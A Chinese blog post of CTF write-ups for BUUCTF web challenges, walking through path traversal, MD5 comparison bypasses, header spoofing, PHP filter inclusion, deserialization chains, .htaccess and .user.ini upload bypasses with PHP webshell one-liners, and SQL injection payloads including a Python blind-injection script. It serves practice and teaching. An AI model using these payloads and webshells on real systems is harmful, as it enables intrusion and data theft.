BUUCTF

审计&HTTP&正则

[HCTF 2018]WarmUp(代码审计)

源代码==>source.php===>hint.php==>flag not here, and flag in ffffllllaaaagggg==>说明flag可能在文件ffffllllaaaagggg

解析source.php的代码
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
一步步解析:
$_REQUEST

    变量 $_REQUEST用于收集HTML表单提交的数据,默认情况下包含了$_GET,$_POST和$_COOKIE的数组。

    GET是从服务器上获取数据,GET是把参数数据队列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段一一对应,在URL中可以看到。

    POST是向服务器传送数据,POST是通过HTTP POST机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址,用户看不到这个过程。

    通过POST和GET方法提交的所有数据都可以通过$_REQUEST["参数"]获得。

empty()

    empty(var) 函数用于检查一个变量是否为空,当 变量var 存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE。

is_string()

    is_string(var)检测变量是否是字符串,如果var是字符串则返回true,否则返回false。

include

    include语句包含并运行指定文件。

    文件查找过程:

    1、被包含文件先按参数给出的路径寻找。

    2、如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找。

    3、如果在include_path下没找到该文件,则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。

    4、如果最后仍未找到文件则include会发出一条警告。

逻辑结构

    传入的file参数需满足以下3个条件,才可包含并运行file:

    (1)不为空

    (2)为字符串

    (3)emmm::checkFile($_REQUEST['file']) 返回 true

mb_substr()

    mb_substr ( string $str , int $start , int $length )        

    mb_substr() 函数从$str的$start字符位置开始,截断$length个字符并返回字符串。$str的第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

    类似substr() 函数,substr() 函数只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。

mb_strpos()

mb_strpos(haystack, needle),查找字符串needle在另一个字符串haystack中首次出现的位置,返回位置(int)。第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); $_page = urldecode($page);
$_page = mb_substr( $_page,
0,
mb_strpos($_page . '?', '?')
);

if语句中的$_page经历了如下改变:一次问号截断,一次url解码,一次问号截断——–url传入服务器会自动进行一次urldecode. ?的url编码为%3F,双重url编码为%253F。

那问题就很容易解决了
payload:?file=source.php%253F/../../../../ffffllllaaaagggg——-../代表返回上级目录——–../是一个一个试的,未知有几个文件夹

MRCTF2020]Ez_bypass(md5)

代码审计
// 包含外部文
件 ‘flag.php’,该文件可能包含敏感信息
include ‘flag.php’;
// 定义一个变量 $flag,包含一个字符串
$flag = ‘MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}’;

// 检查是否存在名为 ‘gg’ 和 ‘id’ 的 GET 参数
if(isset($_GET[‘gg’]) && isset($_GET[‘id’])) {
// 获取 GET 参数 ‘id’ 和 ‘gg’ 的值
$id = $_GET[‘id’];
$gg = $_GET[‘gg’];

// 检查 $id 和 $gg 的 MD5 散列值是否相等,并且它们的值不相等,强比较
if (md5($id) === md5($gg) && $id !== $gg) {
    // 输出 'You got the first step'
    echo 'You got the first step';
 
    // 检查是否存在名为 'passwd' 的 POST 参数
    if(isset($_POST['passwd'])) {
        // 获取 POST 参数 'passwd' 的值
        $passwd = $_POST['passwd'];
 
        // 检查 $passwd 是否为数字
        if (!is_numeric($passwd)) {
            // 如果 $passwd 等于 1234567,则输出 'Good Job!',显示 'flag.php' 的内容,然后终止脚本执行
            if($passwd == 1234567) {
                echo 'Good Job!';
                highlight_file('flag.php');
                die('By Retr_0');
            } else {
                // 如果 $passwd 不等于 1234567,则输出 'can you think twice??'
                echo "can you think twice??";
            }
        } else {
            // 如果 $passwd 是数字,则输出 'You can not get it !'  可以数字+字母 如:12345a
            echo 'You can not get it !';
        }
    } else {
        // 如果不存在 POST 参数 'passwd',则输出 'only one way to get the flag'
        die('only one way to get the flag');
    }
} else {
    // 如果 $id 和 $gg 的 MD5 散列值不相等,或者它们的值相等,则输出 'You are not a real hacker!'
    echo "You are not a real hacker!";
}

} else {
// 如果不存在 ‘gg’ 和 ‘id’ 的 GET 参数,则输出 ‘Please input first’
die(‘Please input first’);
}
很常见的md5比较
若为弱比较:

md5加密后为0e开头的会被识别为科学记数法,结果均为0

例如:para1=QNKCDZO ,para2=aabg7XSs

md5(para1)=0e830400451993494058024219903391

md5(para2)=0e087386482136013740957780965295

此时MD5(para1)== MD5(para2)

另加:数组绕过/?id[]=1&gg[]=222

若为强比较:

如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,并且不会报错,就会得到===强比较的值相等

例如:para1[]=111 , para2[]=222

此时md5(para1)=== md5(para2)
显而易见 payload:/?id[]=1&gg[]=2 POST:passwd=1234567a

[极客大挑战 2019]Http

源代码:发现秘密:Secret.php

It doesn’t come from ‘https://Sycsecret.buuoj.cn'==>Referer

Please use “Syclover” browser==>Uesr Agent

No!!! you can only read this locally!!!==>X-Forwarded-For: 127.0.0.1
(另几种表达:X-Real-Ip: 127.0.0.1 Client-Ip: 127.0.0.1)

[BJDCTF2020]Easy MD5

随便查询,无回响,查看源码,发现:HTTP有header==>发现Hint select * from ‘admin’ where password=md5($pass,true)

一个sql语句,要输入一个密码但是并不知道正确密码。这里需要利用md5绕过,让sql语句变成如下形式 select * from ‘admin’ where password=‘’ or ‘1(很基本的sql)

https://www.cnblogs.com/redfish404/articles/17878453.html

上网查找后发现字符串“ffifdyop”和“129581926211651571912466741651878684928”在进行md5加密后形成的十六进制的字符串经过mysql转换成十进制后对应的ASCII码内容为“or ‘ 6……”——ffifdyop->276f722736c95d99e921722cf9ed621c->’or’6É]™é!r,ùíb

进入新页面,什么也没有,查看源代码

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

很基本的md5==>0e绕过或者数组绕过都行==进入下一步

1
2
3
4
 <?phperror_reporting(0);include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{ echo $flag;}

这个只能数组绕过==>param1[]=1&param2[]=2

[极客大挑战 2019]BuyFlag(数组绕过长度限制)

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

源代码:

1
2
3
4
5
6
7
8
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";

password=404a 绕过

查看HTTP 发现Cookie: user=0 0改为1试试

显示:Pay for the flag!!!hacker!!!

突然想起来money还要够

password=404a&money=100000000

显示 Nember lenth is too long

钱减少还不够

可以尝尝9e9 password=404a&money=9e9

还有一个比较常见的数组绕过 password=404a&money[]=1

[极客大挑战 2019]Secret File(信息泄露、文件包含)

页面什么也没有,查看源代码==>href=”./Archive_room.php”

打开,点击按钮,提示“没看清么?回去再仔细看看吧。”

让我们退回去仔细看看,说明在这两个页面之间存在一些内容,右键「检查」
返回上一个页面(Archive_room.php)重新点击一次 SECRET 按钮,观察这一过程有哪些「请求」==>在结束页面之前,还访问了一个页面/action.php,只是我们没有「权限」(302),看不了,所以直接跳过了这个页面。针对这种情况,使用burp抓包进行访问
发现 secr3t.php

1
2
3
4
5
6
<?php  highlight_file(__FILE__);  error_reporting(0);  $file=$_GET['file'];  if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data"))
{
echo "Oh no!";
exit(); }
include($file);
//flag放在了flag.php里?>

使用PHP伪协议对文件内容进行编码:/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php==>base64解码

[RoarCTF 2019]Easy Calc(waf)

源码calc.php

代码审计 num只能输入数字,字母解析不了 用空格绕过”num“改为“ num”

查看黑名单 引号不能用了

用ASCII码绕过

num=var_dump(scandir(chr(47)))==>>相当于system(ls /)—–chr(47)=” / “

发现f1agg文件

num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))==>>file_get_contents(/f1agg)相当于? num=system(cat /f1agg)

[GXYCTF2019]禁止套娃(正则)

扫描==>git泄露==>githack==>index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

序列化和反序列化

[ZJCTF 2019]NiZhuanSiWei

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
要求上传一个text文件,内容为welcome to the zjctf==>使用php://input或者data://
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使用base64编码

file伪协议==>php://filter/read=convert.base64-encode/resource=useless.php

进行base解码 得到代码

<?php

class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
} } } ?>

进行序列化得到O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

[极客大挑战 2019]PHP(反序列化)

备份网站==>dirsezrch -u http://ae4f66fd-39d2-4ca2-93f2-e3b29093f58c.node5.buuoj.cn:81/==>www.zip文件(直接在url网址后面拼接就可以)

文件夹源码挨个看

1
2
3
4
5
6
7
8
9
10
index.php
<?php

include 'class.php';

$select = $_GET['select'];

$res=unserialize(@$select);

?>

class.php(经过删减)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

include 'flag.php';

class Name{

private $username = 'nonono';

private $password = 'yesyes';

public function __construct($username,$password){

$this->username = $username;

$this->password = $password; }

function __wakeup(){

$this->username = 'guest';

}

function __destruct(){

if ($this->password != 100) {

echo "</br>NO!!!hacker!!!</br>";

echo "You name is: ";

echo $this->username;echo "</br>";

echo "You password is: ";

echo $this->password;echo "</br>";

die();

​ }

if ($this->username === 'admin') {

global $flag;

echo $flag;

​ }else{

echo "</br>hello my friend~~</br>sorry i can't give you the flag!";

die();

`

**在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行___destruct
思路明确了

当password为100,username为admin时即可获得flag

故以get传参为跳板本地构造原始POC:

?select=O:4:”Name”:2:{s:13:” Name username”;s:5:”admin”;s:13:” Name password”;s:3:100;}

?select=O:4:”Name”:2:{s:13:” Name username”;s:5:”admin”;s:13:” Name password”;s:3:100;}
仍然不行

可能空格没有被实体化 这里我们需要把空格写出来
而空格的url编码是%00,下面构造我们的payload

?select=O:4:”Name”:3 {s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;s:3:”100”;}

[网鼎杯 2020 青龙组]AreUSerialz(反序列化)

构造POP链

不使用题目中原有的各个字段的protect属性,因为这样会使得序列化后的字符串出现不可打印字符,而题目中的is_valid()函数又会检验输入的字符串中是否有不可打印字符,因此,我们这里把protect属性修改为public。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class FileHandler {

public $op=2;

public $filename="./flag.php";

public $content;

}

$a=new FileHandler;

$str1=serialize($a);

echo $str1;

?>

O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:10:”./flag.php”;s:7:”content”;N;}

payload: ?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:10:”./flag.php”;s:7:”content”;N;}

Upload

[极客大挑战 2019]Knife(一句话木马、代码执行)

Way1(代码执行)

显示 eval($_POST[“Syc”]);
POST: Syc=var_dump(scandir(‘/‘));—查看源代码 发现flag

Way2(蚁剑)

复制URL 密码:Syc 找flag文件

[MRCTF2020]你传你🐎呢(.htaccess绕过)

随便上传,有限制 尝试了php3,php5,ptml,空格绕过,都不行

先上次1.png //与后面的png文件名一致

尝试.htaccess

内容:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

抓包==>Content-Type: image/png

复制网址:/upload/731ae4223a74740c27bb86b66c482220/.htaccess

改为/upload/731ae4223a74740c27bb86b66c482220/1.png

踩坑:这里要把.htaccess改为1.png,因为密码cmd是对应的1.png

[SUCTF 2019]CheckIn(.user.ini绕过)

illegal suffix! 尝试不同文件上传 发现只有jpg回显回显<? in contents!

看来只能是jpg 然后需要绕过 <? :<script language='php'>eval($_POST['shell']);<scirpt>

需要把jpg当做PHP文件执行,尝试.htaccess文件,然后还是不行: 回显exif_imagetype:not image!

这时想到**.user.ini**绕过:

GIF89a
auto_prepend_file=a.jpg//a.jpg要与上传的jpg文件名称相同

重新尝试:先.user.ini 后 a.jpg

蚁剑连接,注意最后是/index.php———使用的是auto_prepend_file,在主文件之前就已经自动解析文件名了,所以index.php主文件在最后面,而不是a.jpg

SQL

[极客大挑战 2019]BabySQL(双写绕过)

会双写绕过就能过(其他按部就班)

[极客大挑战 2019]HardSQL(报错注入)

万能密码不管用。大写、

^代替and,用()代替空格,like代替等于号

1’^(updatexml(1,(concat(0x7e,(database()),0x7e)),1))or’

1’^(updatexml(1,(concat(0x7e,select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e)),1))o

1’^(updatexml(1,(concat(0x7e,(select(group_concat(id.username,password))from(‘geek.H4rDsq1’)),0x7e)),1))or’

发现只有password

1’^(updatexml(1,(concat(0x7e,(select(group_concat(password))from(‘geek.H4rDsq1’)),0x7e)),1))or’

发现得到一半flag

XPATH syntax error: ‘~flag{206c80d5-e513-4b65-9634-1c’

使用right

1’^(updatexml(1,(concat(0x7e,(select(group_concat(right(password,32)))from(geek.H4rDsq1)),0x7e)),1))or’

XPATH syntax error: ‘~0d5-e513-4b65-9634-1c01506c896a’

flag{206c80d5-e513-4b65-9634-1c01506c896a}

[GXYCTF2019]BabySQli(临时数据)

源码:search.php 得到 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
一看就是base32 得到 c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
一看就是base64 得到 select * from user where username = ‘$name’

username为注入点,有绕过==>fuzz一波

看admin的位置 测试了一下在2处

爆不了表 看了别人的wp

这里是插入一条临时的数据admin,密码为md5加密后的1,然后密码为1,就会自动登陆上了(猜测3列为密码)

upload:1’ union select 1,’admin’,’c4ca4238a0b923820dcc509a6f75849b’#

数据库为32位小写md5加密

[GYCTF2020]Blacklist(堆叠注入handler)

前言:


handler命令查询规则

    handler table_name open;handler table_name read first;handler table_name close;
    handler table_name open;handler table_name read next;handler table_name close;

如何理解?

    首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
    首先打开数据库,开始循环读取,读取成功后进行关闭操作。

发现黑名单

1
set|prepare|alter|rename|select|update|delete|drop|insert|where|\

0’;show databases;#==>0’;show tables;#==>0’;show columns fromFlagHere;#==>发现有flag

handler可以用

0’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
0’;handler FlagHere open;handler FlagHere read next;handler FlagHere close;

[CISCN2019 华北赛区 Day2 Web1]Hack World(布尔盲注-脚本)

输入’ ==>bool(false)

盲猜布尔盲注

万能密码,存在过滤 fuzz一波

可知1是正确的回显,0是错误的回显

进行验证:

if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)

可以把if语句里最后的0,1,替换进行验证判断正确和错误的回显

因为要遍历,要写脚本

import requests
import re

url='http://b34f42ae-9e41-48eb-b906-0c3ea32eadec.node4.buuoj.cn:81/index.php' #路径
buu='' #记录flag

for i in range(1,50): #flag的字符数量
for j in range(32,140): #可打印出得所有字符的asii码值
#构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
data={"id":payload} #构造参数对象
res=requests.post(url=url,data=data) #请求
#进行验证和记录flag
if 'Hello, glzjin wants a girlfriend' in res.text:
buu=buu+chr(j)
print(i)
print(buu)
break #跳出一层循环

SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。
https://blog.csdn.net/Manuffer/article/details/120739989?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171378855216800188542056%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=171378855216800188542056&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-120739989-null-null.142^v100^pc_search_result_base9&utm_term=SSTI&spm=1018.2226.3001.4187

[护网杯 2018]easy_tornado

网址里有参数filenamefilehash推测这里flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。

easy_tornado可推测是服务器模板注入(SSTI)。

/file?filename=/fllllllllllllag&filehash=———-搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret

得到 ‘cookie_secret’: ‘dde04648-84e9-4d88-a0ca-776a28f54c13’}

payload:/file?filename=/fllllllllllllag&filehash=77a1d0572298d9f79da44fd36511802c


BUUCTF
https://junske51.github.io/kele6.github.io/2024/04/14/BUUCTF/
Author
John Doe
Posted on
April 14, 2024
Licensed under